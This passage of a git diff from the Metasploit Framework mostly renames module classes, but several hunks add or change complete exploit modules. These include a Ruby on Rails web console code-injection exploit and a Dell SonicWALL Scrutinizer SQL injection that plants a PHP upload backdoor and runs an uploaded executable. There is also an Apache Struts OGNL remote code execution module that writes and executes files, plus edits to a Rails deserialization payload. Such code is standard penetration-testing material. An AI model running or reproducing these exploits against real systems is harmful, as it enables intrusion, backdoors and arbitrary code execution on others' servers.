"http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + datastore['SSL'] = true if ssl_restore + connect + end + + def render_tmpfile + @path.gsub!(/\//, '%2f') + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URIPATH'], @path), + 'method' => 'GET', + }, 1) + end + + def exploit + print_status("Sending initial request to detect exploitability") + start_http_server + if send_payload + print_good("injected payload") + render_tmpfile + + # we need to delay, for the stager + select(nil, nil, nil, 5) + end + end +end diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index a8da7d1553..14598f3398 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 9aa9b8e633..82f704054f 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking #Helper Classes copy/paste from Rails4 @@ -200,8 +200,9 @@ class Metasploit3 < Msf::Exploit::Remote return "\x04\b" + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + ":\x0E@instanceo" + - ":\bERB\x06" + + ":\bERB\x07" + ":\t@src"+ Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + ":\f@method:\vresult:" + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" end @@ -209,9 +210,10 @@ class Metasploit3 < Msf::Exploit::Remote return Rex::Text.encode_base64 "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + - "o"+":\x08ERB"+"\x06" + + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" end end @@ -247,7 +249,7 @@ class Metasploit3 < Msf::Exploit::Remote if check_secret(match[2],match[3]) print_good("SECRET matches! Sending exploit payload") else - fail_with(Failure::BadConfig, "SECRET does not match") + fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?") end else print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI") diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb new file mode 100644 index 0000000000..accaadd41f --- /dev/null +++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution', + 'Description' => %q{ + This module exploits an IP whitelist bypass vulnerability in the developer + web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also + achieve code execution on Rails 4.2.x if the attack is launched from a + whitelisted IP range. + }, + 'Author' => [ + 'joernchen ', # Discovery & disclosure + 'Ben Murphy ', # Discovery & disclosure + 'hdm' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-3224' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ], + [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ], + [ 'URL', 'https://hackerone.com/reports/44513' ] + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DefaultOptions' => { 'PrependFork' => true }, + 'DisclosureDate' => 'Jun 16 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(3000), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ]) + ], self.class) + end + + # + # Identify the web console path and session ID, then inject code with it + # + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'headers' => { + 'X-Forwarded-For' => '0000::1' + } + }, 25) + + unless res + print_error("Error: No response requesting #{datastore['TARGETURI']}") + return + end + + web_console_path = nil + + # Support vulnerable Web Console versions + if res.body.to_s =~ /data-remote-path='([^']+)'/ + web_console_path = "/" + $1 + end + + # Support newer Web Console versions + if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/ + web_console_mount = $1 + unless res.body.to_s =~ /data-session-id='([^']+)'/ + print_error("Error: No session id found requesting #{datastore['TARGETURI']}") + return + end + web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1) + end + + unless web_console_path + if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump') + print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope') + else + print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}") + end + return + end + + print_status("Sending payload to #{web_console_path}") + res = send_request_cgi({ + 'uri' => web_console_path, + 'method' => 'PUT', + 'headers' => { + 'X-Forwarded-For' => '0000::1', + 'Accept' => 'application/vnd.web-console.v2', + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'input' => payload.encoded + } + }, 25) + end +end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 29e4072bd1..c6a7904b59 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb index 29d59a6453..8863605070 100644 --- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient @@ -201,7 +201,7 @@ SH end def generate_decoder_vbs(opts = {}) - decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + decoder_path = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64") f = File.new(decoder_path, "rb") decoder = f.read(f.stat.size) diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index bc898098c3..e9f198bd6c 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 4b23877fda..0725b0f74f 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index f854d6483b..92568c6f94 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index 077c327a73..d4de32cf5c 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb index c2b3a72a7b..4735a2872e 100644 --- a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index c1fd88b671..2f9e672522 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb new file mode 100644 index 0000000000..2a3abeb8af --- /dev/null +++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb @@ -0,0 +1,401 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + WINDOWS = /^win/i + LINUX = /linux/i + + def initialize(info={}) + super(update_info(info, + 'Name' => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection", + 'Description' => %q{ + This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail + parameter in exporters.php allows an attacker to write arbitrary files to the file system + with an SQL Injection attack, and gain remote code execution under the context of SYSTEM + for Windows, or as Apache for Linux. + + Authentication is required to exploit this vulnerability, but this module uses + the default admin:admin credential. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry', # Original discovery, PoC, and Metasploit module + 'sinn3r' # Metasploit module for native support + ], + 'References' => + [ + [ 'CVE', '2014-4977' ], + [ 'BID', '68495' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Jul/44' ], + [ 'URL','https://gist.github.com/brandonprry/76741d9a0d4f518fe297' ] + ], + 'Arch' => [ ARCH_X86 ], + 'Platform' => [ 'win', 'linux' ], + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Dell SonicWALL Scrutinizer 11.01 on Windows', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win', + } + ], + [ + 'Dell SonicWALL Scrutinizer 11.01 Linux Appliance', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 24 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Application path", "/" ]), + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin' ]) + ], self.class) + end + + + # Prints a message with the target's IP and port. + # + # @param msg [String] Message to print. + # @return [void] + def print_status(msg='') + super("#{peer} - #{msg}") + end + + + # Prints an error message with the target's IP and port. + # + # @param msg [String] Message to print. + # @return [void] + def print_error(msg='') + super("#{peer} - #{msg}") + end + + + # Pads NULL columns for a SQL injection string. + # + # @param n [Fixnum] Number of nulls + # @return [String] + def pad_null(n) + padding = [] + + n.times do + padding << 'NULL' + end + + padding * ',' + end + + + # Checks (explicitly) the target for the vulnerability. To be able to check this, a + # valid username/password is required. + # + # @return [void] + def check + begin + res = do_login + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end + + uid = res['userid'] + sid = res['sessionid'] + pattern = Rex::Text.rand_text_alpha(10) + sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}" + res = do_sqli(sqli_str, sid, uid).get_json_document + return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern + + Exploit::CheckCode::Safe + end + + + # Returns the OS information by using @@version_compile_os. + # + # @param sid [String] Session ID. + # @param uid [String] User ID. + # @return [String] The OS information. + def get_os(sid, uid) + sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}" + res = do_sqli(sqli_str, sid, uid).get_json_document + res['id'] + end + + + # Returns target's d4d directory path that will be used to upload our malicious files. + # + # @param os [String] OS information. + # @return [String] + def get_d4d_path(os) + case os + when WINDOWS + # On Windows, the full d4d path looks something like this: + # C:\Program Files\Scrutinizer\html\d4d + '../../html/d4d' + when LINUX + # On the Linux appliance, the d4d path looks exactly like this: + '/home/plixer/scrutinizer/html/d4d' + end + end + + + # Logs into Dell SonicWALL Scrutinizer. + # + # @return [Hash] JSON response. + def do_login + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'), + 'vars_get' => { + 'name' => datastore['USERNAME'], + 'pwd' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.') + end + + res = res.get_json_document + + if res['noldapnouser'] + fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.") + elsif res['loginfailed'] + fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.") + elsif res['sessionid'] + report_cred(datastore['USERNAME'], datastore['PASSWORD']) + end + + res + end + + + # Saves a valid username/password to database. + # + # @param username [String] + # @param password [String] + # @return [void] + def report_cred(username, password) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + + + # Injects malicious SQL string to the methodDetail parameter against the target machine. + # + # @param method_detail [String] Malicious SQL injection string. + # @param sid [String] Session ID. + # @param uid [String] User ID. + # @return [Rex::Proto::Http::Response] + def do_sqli(method_detail, sid, uid) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, '/d4d/exporters.php'), + 'vars_get' => { 'methodDetail'=> method_detail }, + 'cookie' => "cookiesenabled=1;sessionid=#{sid};userid=#{uid}" + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out for exporters.php.') + end + + res + end + + + # Returns a PHP backdoor that is to be uploaded onto the target machine. + # + # @param os [String] Target OS information. + # @param target_path [String] + # @return [String] PHP backdoor + def get_php_backdoor(os) + case os + when WINDOWS + chmod_code = %Q|chmod($bname, 0777);| + exec_code = %Q|exec($bname);| + when LINUX + chmod_code = %Q|chmod("./" . $bname, 0777);| + exec_code = %Q|exec("./" . $bname);| + end + + %Q| + |.gsub(/\x20{4}/, ' ') + end + + + # Uploads the executable payload via malicious PHP backdoor. + # + # @param backdoor_fname [String] Name of the backdoor + # @param payload_fname [String] Name of the executable payload + # @return [void] + def upload_payload(backdoor_fname, payload_fname) + p = generate_payload_exe( + code: payload.encoded, + platform: @my_target.platform, + arch: @my_target.arch + ) + + print_status("Uploading #{payload_fname} (#{p.length} bytes)...") + + post_data = Rex::MIME::Message.new + post_data.add_part( + p, + 'application/octet-stream', + 'binary', + "form-data; name=\"uploadedfile\"; filename=\"#{payload_fname}\"" + ) + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, "/d4d/#{backdoor_fname}"), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => data + }) + + unless res + # Here we are not using fail_with, because when we get a session, it seems to be creating + # the same effect as connection hanging... and then eventually times out. If that + # happens, a fail_with() can cause msfconsole to believe there is no session created. + vprint_status('Connection timed out while uploading payload.') + return + end + + if res.code == 404 + fail_with(Failure::Unknown, "Server returned 404 for #{backdoor_fname}.") + end + end + + + # Uploads the PHP backdoor onto the target machine. The reason of using a PHP backdoor to upload + # is because our SQL injection is in a GET method, and Apache has a max length of 8190 bytes, + # which is bad for some built-in or custom payloads. + # + # @param opts [Hash] + # @option opts [String] :d4d_path + # @option opts [String] :backdoor_fname + # @option opts [String] :payload_fname + # @option opts [String] :sid + # @option opts [String] :uid + # @option opts [String] :os + # @return [void] + def upload_php_backdoor(opts) + d4d_path = opts[:d4d_path] + backdoor_fname = opts[:backdoor_fname] + payload_fname = opts[:payload_fname] + sid = opts[:sid] + uid = opts[:uid] + os = opts[:os] + + print_status("Injecting a PHP upload backdoor (#{backdoor_fname})...") + hex_backdoor = get_php_backdoor(os).unpack("H*")[0] + sqli_str = "-6045 UNION ALL SELECT 0x#{hex_backdoor},#{pad_null(19)} INTO DUMPFILE '#{d4d_path}/#{backdoor_fname}' #" + do_sqli(sqli_str, sid, uid) + end + + + # Attempts a SQL injection attack against the target machine. + # + # @param os [String] OS information. + # @param sid [String] Session ID. + # @param uid [String] User ID. + # @return [void] + def do_backdoor_sqli(os, sid, uid) + backdoor_fname = "#{Rex::Text.rand_text_alpha(6)}.php" + payload_fname = Rex::Text.rand_text_alpha(5) + payload_fname << '.exe' if @my_target['Platform'].match(WINDOWS) + d4d_path = get_d4d_path(os) + + register_files_for_cleanup(backdoor_fname, payload_fname) + + opts = { + d4d_path: d4d_path, + backdoor_fname: backdoor_fname, + payload_fname: payload_fname, + sid: sid, + uid: uid, + os: os + } + + upload_php_backdoor(opts) + upload_payload(backdoor_fname, payload_fname) + end + + + # Tries to set the target. If the user manually set one, then avoid automatic target. + # + # @param os [String] OS information. + # @return [void] + def try_set_target(os) + @my_target = target if target != targets[0] + case os + when WINDOWS + @my_target = targets[1] + when LINUX + @my_target = targets[2] + else + fail_with(Failure::NoTarget, 'Unsupported target') + end + end + + + # Exploits the target machine. To do this, first we must log into the system in order to obtain + # the user ID and session ID. After logging in, we can ask the vulnerable code to upload a + # malicious PHP backdoor, and then finally use that backdoor to upload and execute our payload. + def exploit + res = do_login + uid = res['userid'] + sid = res['sessionid'] + os = get_os(sid, uid) + print_status("Detected OS information: #{os}") + try_set_target(os) + do_backdoor_sqli(os, sid, uid) + end + +end diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index c23d9b5a41..c96fe4d48d 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 20066ea72b..6d574aeaaf 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index 9c17ad00f3..832cef2473 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index 49b6c061b4..857c460402 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index a629668198..b6480099dc 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::CmdStager @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing user supplied command") execute_command(datastore['CMD']) return diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 479ce0f89f..4893376653 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::FileDropper diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 83a47cb405..9d9bcc461f 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager @@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing user supplied command") execute_command(datastore['CMD']) return diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index e9e568a9ee..8fc53b6155 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index af4acfdf6a..613ec8ae4e 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -26,9 +26,6 @@ class Metasploit3 < Msf::Exploit::Remote "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. - - This module has been tested successfully on Struts 2.3.15 and Struts 2.0.11.2 over - Tomcat 7, with Windows 2003 SP2 and Ubuntu 10.04 operating systems. }, 'License' => MSF_LICENSE, 'Author' => @@ -74,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), + OptInt.new('PAYLOAD_REQUEST_DELAY', [true, 'Time to wait for the payload request', 5]), # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) ], self.class) @@ -359,6 +357,8 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end + + sleep(datastore['PAYLOAD_REQUEST_DELAY']) end def build_hta diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 856973c841..51101ea197 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb new file mode 100644 index 0000000000..c97a00d7cf --- /dev/null +++ b/modules/exploits/multi/http/struts_dmi_exec.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code + Execution can be performed via method: prefix when Dynamic Method Invocation + is enabled. + }, + 'Author' => [ + 'Nixawk', # original metasploit module + 'rungobier' # improved metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3081' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] + ], + 'Platform' => %w{ java linux win }, + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DisclosureDate' => 'Apr 27 2016', + 'DefaultTarget' => 2)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']), + OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) + ], self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def get_target_platform + target.platform.platforms.first + end + + def temp_path + @TMPPATH ||= lambda { + path = datastore['TMPPATH'] + return nil unless path + + case get_target_platform + when Msf::Module::Platform::Windows + slash = '\\' + when + slash = '/' + else + end + + unless path.end_with?('/') + path << '/' + end + return path + }.call + end + + def send_http_request(payload, params_hash) + uri = normalize_uri(datastore['TARGETURI']) + uri = "#{uri}?#{payload}" + resp = send_request_cgi( + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'vars_post' => params_hash + ) + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def generate_rce_payload(code) + payload = "method:" + payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") + payload << "," + payload << Rex::Text.uri_encode(code) + payload << "," + payload << Rex::Text.uri_encode("1?#xx:#request.toString") + payload + end + + def upload_exec(cmd, filename, content) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + var_e = rand_text_alpha_lower(4) + var_f = rand_text_alpha_lower(4) + + code = "##{var_a}=new sun.misc.BASE64Decoder()," + code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0])))," + code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close()," + code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true)," + code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))" + payload = generate_rce_payload(code) + + params_hash = { + var_d => Rex::Text.encode_base64(cmd), + var_e => Rex::Text.encode_base64(filename), + var_f => content + } + send_http_request(payload, params_hash) + end + + def check + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + flag = 